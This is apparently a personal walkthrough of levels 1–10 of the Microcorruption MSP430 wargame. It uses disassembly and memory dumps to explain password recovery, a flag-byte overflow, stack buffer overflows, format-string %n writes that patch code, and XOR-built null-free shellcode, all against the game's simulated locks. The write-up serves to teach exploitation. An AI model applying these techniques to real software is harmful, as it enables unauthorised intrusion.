When the Microcorruption game first came out I beat the first sixteen levels and then I got stumped on the alphanumeric MSP430 shellcode level (damn MSP430 instructions). I started to go through the game again to beat more levels and take notes to reenforce my own knowledge of the subject. I suggest everyone check out the game first if you’re interested in learning about different exploitation techniques (stack overflows, heap overflows, format string vulnerabilities, etc.) and have been stuck around a rock for the last few years as its still a great war game.
Level 1 (Tutorial)
The main function calls the
check_password function. Assuming that the
check_password function doesn’t return 0 then access will be granted.
444a: 0f41 mov sp, r15 444c: b012 8444 call #0x4484 <check_password> 4450: 0f93 tst r15 4452: 0520 jnz #0x445e <main+0x26> 4454: 3f40 c744 mov #0x44c7 "Invalid password; try again.", r15 4458: b012 5845 call #0x4558 <puts> 445c: 063c jmp #0x446a <main+0x32> 445e: 3f40 e444 mov #0x44e4 "Access Granted!", r15 4462: b012 5845 call #0x4558 <puts> 4466: b012 9c44 call #0x449c <unlock_door>
So we need to figure out when the
check_password function returns a non-zero value. This function is pretty simple, it just loops through the inputted password (located at r15) and determines its length. If the length is 9 then the function will return 1.
4484 <check_password> 4484: 6e4f mov.b @r15, r14 4486: 1f53 inc r15 4488: 1c53 inc r12 448a: 0e93 tst r14 448c: fb23 jnz #0x4484 <check_password+0x0> 448e: 3c90 0900 cmp #0x9, r12 4492: 0224 jeq #0x4498 <check_password+0x14> 4494: 0f43 clr r15 4496: 3041 ret 4498: 1f43 mov #0x1, r15 449a: 3041 ret
So to solve this lock we just have to type in AAAAAAAA (nine characters when the null byte is included).
Level 2 (New Orleans)
This level contains a hardcoded password. Basically after retrieving the password the
main function will call the
check_password function to determine whether or not to unlock the lock.
444a: b012 b244 call #0x44b2 <get_password> 444e: 0f41 mov sp, r15 4450: b012 bc44 call #0x44bc <check_password> 4454: 0f93 tst r15 4456: 0520 jnz #0x4462 <main+0x2a> 4458: 3f40 0345 mov #0x4503 "Invalid password; try again.", r15 445c: b012 9445 call #0x4594 <puts> 4460: 063c jmp #0x446e <main+0x36> 4462: 3f40 2045 mov #0x4520 "Access Granted!", r15 4466: b012 9445 call #0x4594 <puts> 446a: b012 d644 call #0x44d6 <unlock_door>
check_password function just loops through the provided password in r15 and compares it with the string located at 0x2400. If the two strings are equal then the
check_password function will return 1.
44bc <check_password> 44bc: 0e43 clr r14 44be: 0d4f mov r15, r13 44c0: 0d5e add r14, r13 44c2: ee9d 0024 cmp.b @r13, 0x2400(r14) 44c6: 0520 jne #0x44d2 <check_password+0x16> 44c8: 1e53 inc r14 44ca: 3e92 cmp #0x8, r14 44cc: f823 jne #0x44be <check_password+0x2> 44ce: 1f43 mov #0x1, r15 44d0: 3041 ret 44d2: 0f43 clr r15 44d4: 3041 ret
At this point we could just look at the memory tab to find the hardcoded password located at 0x2400.
2400: 572e 507a 3443 7600 0000 0000 0000 0000 W.Pz4Cv......... 2410: *
But to make sure the password is not dynamically generated we need to look at the
create_password function. Note that this function just writes a series of bytes to 0x2400 (0x57, 0x2e, 0x50, 0x7a, 0x34, 0x43, 0x76, and 0x00).
447e <create_password> 447e: 3f40 0024 mov #0x2400, r15 4482: ff40 5700 0000 mov.b #0x57, 0x0(r15) 4488: ff40 2e00 0100 mov.b #0x2e, 0x1(r15) 448e: ff40 5000 0200 mov.b #0x50, 0x2(r15) 4494: ff40 7a00 0300 mov.b #0x7a, 0x3(r15) 449a: ff40 3400 0400 mov.b #0x34, 0x4(r15) 44a0: ff40 4300 0500 mov.b #0x43, 0x5(r15) 44a6: ff40 7600 0600 mov.b #0x76, 0x6(r15) 44ac: cf43 0700 mov.b #0x0, 0x7(r15) 44b0: 3041 ret
So to beat this level we need to input in 572e507a344376 (hex encoded).
Level 3 (Sydney)
“This is Software Revision 02. We have received reports that the prior version of the lock was bypassable without knowing the password. We have fixed this and removed the password from memory.”
This level also has a hardcoded secret, but it no longer appears in memory as a string. By examining the
check_password function we can see that the entered password in r15 is compared against multiple words. The first word (16 bits) of the password is compared against 0x2957. The second word of the password is compared against 0x7d58 and so on.
448a <check_password> 448a: bf90 5729 0000 cmp #0x2957, 0x0(r15) 4490: 0d20 jnz $+0x1c 4492: bf90 587d 0200 cmp #0x7d58, 0x2(r15) 4498: 0920 jnz $+0x14 449a: bf90 3b4f 0400 cmp #0x4f3b, 0x4(r15) 44a0: 0520 jne #0x44ac
44a2: 1e43 mov #0x1, r14 44a4: bf90 5f72 0600 cmp #0x725f, 0x6(r15) 44aa: 0124 jeq #0x44ae 44ac: 0e43 clr r14 44ae: 0f4e mov r14, r15 44b0: 3041 ret
We might first try to provide 29577d584f3b725f as the password in hex, but that does not work because the MSP430 processor stores data in little-endian format. The correct password to provide in this case is 5729587d3b4f5f72 in hex.
Level 4 (Hanoi)
“Remember: passwords are between 8 and 16 characters.”
In this level the lock firmware connects with a HSM to verify a password. This involves calling interrupt 0x7d with two arguments (password to test and a memory address to overwrite with a flag), which occurs in the
test_password_valid function. I initially spent time trying to understand that function but we just need to focus on understanding the
4538: 3f40 0024 mov #0x2400, r15 453c: b012 ce45 call #0x45ce
4540: 3f40 0024 mov #0x2400, r15 4544: b012 5444 call #0x4454 4548: 0f93 tst r15 454a: 0324 jz $+0x8 454c: f240 7200 1024 mov.b #0x72, &0x2410 4552: 3f40 d344 mov #0x44d3 "Testing if password is valid.", r15 4556: b012 de45 call #0x45de 455a: f290 b400 1024 cmp.b #0xb4, &0x2410 4560: 0720 jne #0x4570 4562: 3f40 f144 mov #0x44f1 "Access granted.", r15 4566: b012 de45 call #0x45de 456a: b012 4844 call #0x4448
Notice that after calling the
test_password_valid function, the login function verifies whether the password is valid by checking if the value 0xb4 is stored at 0x2410 (455a). The memory address 0x2410 just happens to be located directly after the address of the inputted password (0x2400). Basically both the inputted password and valid password flag exist in the data segment and are adjacent to each other, so we can use an overflow to control the flag.
It turns out that there are no length checks on the inputted password so we can provide the following as the answer (17 character password will overflow into the flag byte). Cool.
Level 5 (Reykjavik)
“This is Software Revision 02. This release contains military-grade encryption so users can be confident that the passwords they enter can not be read from memory.”
For this level we first type in a password of AAAA and start debugging. Normally after inputting a password the debugger is paused at the instruction that exists in the text segment of the process just after input is received. This time the program counter is set to a value (0x2478) in the data segment of the process which is odd.
2470: 32d0 0080 b012 1000 3241 3041 d21a 189a 2.......2A0A.... 2480: 22dc 45b9 4279 2d55 858e a4a2 67d7 14ae ".E.By-U....g... 2490: a119 76f6 42cb 1c04 0efa a61b 74a7 416b ..v.B.......t.Ak 24a0: d237 a253 22e4 66af c1a5 938b 8971 9b88 .7.S".f......q.. 24b0: fa9b 6674 4e21 2a6b b143 9151 3dcc a6f5 ..ftN!*k.C.Q=... 24c0: daa7 db3f 8d3c 4d18 4736 dfa6 459a 2461 ...?.<M.G6..E.$a 24d0: 921d 3291 14e6 8157 b0fe 2ddd 400b 8688 ..2....W..-.@... 24e0: 6310 3ab3 612b 0bd9 483f 4e04 5870 4c38 c.:.a+..H?N.XpL8 24f0: c93c ff36 0e01 7f3e fa55 aeef 051c 242c .<.6..>.U....$,
If we reset the machine, set a break point on the main function, run the program, and inspect the same memory location then we will notice that the executable code that we observed previously while debugging does not exist in memory at the start of the main function. At this point we can intuitively assume that there exists some encrypted machine code that is decrypted at runtime in order to check the entered password.
2470: 8ff0 b083 6b3e b3c7 aefe b409 0000 0000 ....k>.......... 2480: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 2490: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 24a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 24b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 24c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 24d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 24e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 24f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
For this level we don’t have to bother trying to reverse engineer the decryption routine because we can debug the application to figure out the hardcoded password. Just let the program decrypt itself.
Execute the program and type in AAAA as the password. The current instruction after entering a password is
pop sr at 0x2478.
Step again. The current instruction is
ret at 0x247a. We can assume that the program is returning from a function that was used to acquire the password input.
Step again. The current instruction is
add #0x6, sp at 0x2444. This instruction is probably cleaning up the stack after the function call.
Step again. The current instruction is
cmp #0x9a47, -0x24(r4) at 0x2448. Note that -0x24(r4) points to 0x43da (0x43fe – 0x24). 0x43da is within the stack segment and points to the password that we inputted. This is very interesting since our password is being compared with a hardcoded value.
Step again. The current instruction is
jnz $+0xc at 0x244e. This is a branch statement that jumps based on whether our inputted password equals the hardcoded value.
Step a few more times and the PC is now 0x444e which is back in the text segment at the end of main function. The provided password was not correct, but all we have to do is input 479a in hex as the password to beat this level. Instead of jumping 0xc, interrupt 0x7f is called instead which triggers an unlock.
Level 6 (Cusco)
In the next level we have to exploit a simple stack based buffer overflow vulnerability. Lets start by reviewing the
4500 <login> 4500: 3150 f0ff add #0xfff0, sp 4504: 3f40 7c44 mov #0x447c "Enter the password to continue.", r15 4508: b012 a645 call #0x45a6 <puts> 450c: 3f40 9c44 mov #0x449c "Remember: passwords are between 8 and 16 characters.", r15 4510: b012 a645 call #0x45a6 <puts> 4514: 3e40 3000 mov #0x30, r14 4518: 0f41 mov sp, r15 451a: b012 9645 call #0x4596 <getsn>
add #0xfff0, sp operation subtracts 0x10 from the current stack pointer, which sets up 16 bytes of space for local variables on the stack.
Later on the the
getsn function is called and it appears that two arguments are passed to the function via registers r14 and r15. r14 contains 0x30 and r15 points to the stack which is currently 0x43ee.
4514: 3e40 3000 mov #0x30, r14 4518: 0f41 mov sp, r15 451a: b012 9645 call #0x4596 <getsn>
At this point we need to analyze the
getsn function, which calls interrupt 0x2. In this environment INT 0x2 is the
gets interrupt and it takes two arguments: the address to place the string and the maximum number of bytes. These arguments are pushed to the stack in reverse order, so
gets will take a maximum of 48 bytes (0x30) from the user and write it to 0x43ee. This is a problem because the
login function only allocated 16 bytes (*shrugs*).
4596 <getsn> 4596: 0e12 push r14 4598: 0f12 push r15 459a: 2312 push #0x2 459c: b012 4245 call #0x4542 <INT> 45a0: 3150 0600 add #0x6, sp 45a4: 3041 ret
So at the point we should be able to trigger a buffer overflow and overwrite the saved return address on the stack. When the
ret opcode is executed at 0x453e the program will jump to a location that we control.
451e: 0f41 mov sp, r15 4520: b012 5244 call #0x4452 <test_password_valid> 4524: 0f93 tst r15 4526: 0524 jz #0x4532 <login+0x32> 4528: b012 4644 call #0x4446 <unlock_door> 452c: 3f40 d144 mov #0x44d1 "Access granted.", r15 4530: 023c jmp #0x4536 <login+0x36> 4532: 3f40 e144 mov #0x44e1 "That password is not correct.", r15 4536: b012 a645 call #0x45a6 <puts> 453a: 3150 1000 add #0x10, sp 453e: 3041 ret
If we force the program to jump to 0x4528 then the program will call the
unlock_door function even though we provided an incorrect password. The following input will trigger the overflow and jump to the correct location.
Here is what the stack looks like before and after.
Level 7 (Addis Ababa)
In this level we have to exploit a format string vulnerability in order to bypass the lock authentication.
We can identify that the vulnerability statically by looking at
main function since there is a
printf call in which the user controls the first argument. To verify that we have identified a format string vulnerability we can input a series of format specifiers as the credentials and see what the program outputs. For example, if we input
%x.%x.%x.%x then we get the following output from the program.
Login with username:password below to authenticate. >> .7825.252e.2e78 That entry is not valid.
It is clear from the output that the program is vulnerable given that the program outputted a series of unsigned integers from the stack instead of printing
From looking at the
main function we know that the program retrieves the credentials from the user (
getsn) and then checks the credentials using the HSM (
test_password_valid). If the
test_password_valid function returns a non-zero value then the door will be unlocked.
4458: 3f40 0024 mov #0x2400, r15 445c: b012 8c45 call #0x458c <getsn> 4460: 0b41 mov sp, r11 4462: 2b53 incd r11 4464: 3e40 0024 mov #0x2400, r14 4468: 0f4b mov r11, r15 446a: b012 de46 call #0x46de <strcpy> 446e: 3f40 0024 mov #0x2400, r15 4472: b012 b044 call #0x44b0 <test_password_valid> 4476: 814f 0000 mov r15, 0x0(sp) 447a: 0b12 push r11 447c: b012 c845 call #0x45c8 <printf> 4480: 2153 incd sp 4482: 3f40 0a00 mov #0xa, r15 4486: b012 5045 call #0x4550 <putchar> 448a: 8193 0000 tst 0x0(sp) 448e: 0324 jz #0x4496 <main+0x5e> 4490: b012 da44 call #0x44da <unlock_door> 4494: 053c jmp #0x44a0 <main+0x68> 4496: 3012 1f45 push #0x451f "That entry is not valid." 449a: b012 c845 call #0x45c8 <printf>
Format string vulnerabilities can also be abused to write to an arbitrary memory location so we will target the variable that determines whether or not to jump at 0x448e. We can use the debugger to put a breakpoint on 0x448a to figure out that sp is 0x4076 at this point, so in my case to solve this level we need to write a non-zero value to 0x4076. Before we do that we will need to figure out what is on the stack when the
printf function is called, so we can put a breakpoint on 0x447c and enter in AAAA as the credentials.
4070: 0024 0000 7840 0000 4141 4141 0000 0000 .$..x@..AAAA....
At this point the sp is 0x4074. We can see that the address to the format string is on the top of the stack, so we can use the following input to beat this level.
76402578256e (v@%x%n in hex).
The following illustration demonstrates how this input exploits the vulnerability in order to write the value 2 to 0x4076 using the %n specifier.
Level 8 (Novosibirsk)
Level 8 also involves exploiting a format string vulnerability, but in this level the microcontroller is connected to HSM-2 not HSM-1 so we will use a different exploitation strategy. HSM-2 accepts a password from the microcontroller via a INT 0x7E call and can directly unlock the door therefore there won’t be a flag that we can manipulate in memory. Instead of manipulating the data segment with our exploit we can manipulate the text segment to unlock the door without the password since there is no memory corruption mitigation preventing this action.
Basically we will exploit the vulnerability and force the program to call INT 0x7F (directly unlock door) instead of INT 0x7E (HSM-2 call). We will alter the following code highlighted in red.
44b0 <conditional_unlock_door> 44b0: 0412 push r4 44b2: 0441 mov sp, r4 44b4: 2453 incd r4 44b6: 2183 decd sp 44b8: c443 fcff mov.b #0x0, -0x4(r4) 44bc: 3e40 fcff mov #0xfffc, r14 44c0: 0e54 add r4, r14 44c2: 0e12 push r14 44c4: 0f12 push r15 44c6: 3012 7e00 push #0x7e 44ca: b012 3645 call #0x4536 <INT>
And change it to the following.
44b0 <conditional_unlock_door> 44b0: 0412 push r4 44b2: 0441 mov sp, r4 44b4: 2453 incd r4 44b6: 2183 decd sp 44b8: c443 fcff mov.b #0x0, -0x4(r4) 44bc: 3e40 fcff mov #0xfffc, r14 44c0: 0e54 add r4, r14 44c2: 0e12 push r14 44c4: 0f12 push r15 44c6: 3012 7f00 push #0x7f 44ca: b012 3645 call #0x4536 <INT>
In order to pull this off we need to write 0x007f to 0x44c8. Lets start again by putting a breakpoint at 0x4476 after inputting AAAA as the credentials just like we did in the last level. We want to inspect the stack right before the code in the
main function calls the
4458: 3f40 0024 mov #0x2400, r15 445c: b012 8a45 call #0x458a <getsn> 4460: 3e40 0024 mov #0x2400, r14 4464: 0f44 mov r4, r15 4466: 3f50 0afe add #0xfe0a, r15 446a: b012 dc46 call #0x46dc <strcpy> 446e: 3f40 0afe mov #0xfe0a, r15 4472: 0f54 add r4, r15 4474: 0f12 push r15 4476: b012 c645 call #0x45c6 <printf>
sp is 0x420a at this point.
4200: 0000 9445 0200 0024 f401 0c42 4141 4141 ...E...$...BAAAA
The stack layout is shown in the following image. Note that the address to the format string is on the top of the stack followed directly by the actual format string, so there is no gap to account for.
At this point we can create an input to exploit the vulnerability and write 0x007f to 0x44c8 to solve the level. Note that we are using A’s to increase the number of bytes written so far to 127 (0x7f).
The previous technique is pretty verbose (*cough* inefficient), but it doesn’t appear that the
printf implementation that we are exploiting supports the width format specifier option, but we can optimize our answer by printing a long string that already exists in memory. Specifically we can print off 123 characters using the %s format specifier starting at 0xff83.
ff80: ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44 .D.D.D.D.D.D.D.D ff90: ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44 .D.D.D.D.D.D.D.D ffa0: ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44 .D.D.D.D.D.D.D.D ffb0: ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44 .D.D.D.D.D.D.D.D ffc0: ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44 .D.D.D.D.D.D.D.D ffd0: ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44 .D.D.D.D.D.D.D.D ffe0: ac44 ac44 ac44 ac44 ac44 ac44 ac44 ac44 .D.D.D.D.D.D.D.D fff0: ac44 ac44 ac44 ac44 ac44 ac44 ac44 0044 .D.D.D.D.D.D.D.D
The following input also solves the level in eight characters by first printing off the string located at 0xff83 and then writing the number of characters already written to standard output (0x007f) to 0x44c8.
Either way the INT 0x7e call is changed to INT 0x7f, which unlocks the door.
Level 9 (Whitehorse)
Similar to level 6, in level 9 we must exploit a stack overflow vulnerability. In level 6 we simply redirected the flow of execution to a portion of the program that unlocks the door, but we can’t do that this time since this program using HSM-2. Instead we will include the following code in our input and force the program to jump to that code on the stack.
3012 7f00 push #0x7f b012 3245 call #0x4532
Before we exploit the issue we need to know the size of the buffer and the address of the buffer on the stack. Just type in AAAAAAAA as the input and use the memory dump to view the stack right after the program receives the input. From inspecting the memory we know that the buffer size is 16 bytes and is located at 0x3e26.
3e20: 263e 3000 1245 4141 4141 4141 4141 0000 &>0..EAAAAAAAA.. 3e30: 0000 0000 0000 3c44 0000 0000 0000 0000 ......<D........
Given this information we can construct an input to solve the level. Note that we are simply redirecting the execution flow to a location on the stack that we control. This level does not have any mitigations such as non-executable stack to prevent this action.
Level 10 (Montevideo)
Again, we must exploit a stack overflow, but exploiting this vulnerability is slightly more difficult. In the previous level the stack overflow was triggered by an INT 0x02 call that specified an improper number of bytes to read. In this level the stack overflow is triggered by a
strcpy call, which will continue to copy characters until a null byte is encountered.
4508: 3e40 3000 mov #0x30, r14 450c: 3f40 0024 mov #0x2400, r15 4510: b012 a045 call #0x45a0 <getsn> 4514: 3e40 0024 mov #0x2400, r14 4518: 0f41 mov sp, r15 451a: b012 dc45 call #0x45dc <strcpy>
Basically, our shellcode can’t include a null byte in it. Otherwise our payload will only be partially copied over into the destination buffer. Before we build an exploit that doesn’t have any null bytes in it, lets determine the proper offsets. Place a breakpoint on 0x451a and type in AAAAAAAA as the input. Note that 0x43ee is the destination buffer address and again we are dealing with a 16 byte buffer. Anything past 16 bytes will overwrite the saved return address on the stack.
43e0: 6045 0000 aa45 0200 0024 3000 1445 0000 `E...E...$0..E.. 43f0: 0000 0000 0000 0000 0000 0000 0000 3c44 ..............<D
In the previous level our shellcode simply pushed 0x7f onto the stack and called 0x4532 (
INT function). You’ll notice that this payload contains the null byte (3012 7f00) so it is unacceptable.
3012 7f00 push #0x7f b012 3245 call #0x4532
The solution that I came up with was just XORing two numbers together into r14 that will equal 0x7f (0x6412 ⊕ 0x646d = 0x7f), pushing r14 onto the stack, and then calling the
INT function, which is 0x454c in this program.
3e40 1264 mov #0x6412, r14 3ee0 6d64 xor #0x646d, r14 0e12 push r14 b012 4c45 call #0x454c
Putting everything together we can use the following input to unlock the door.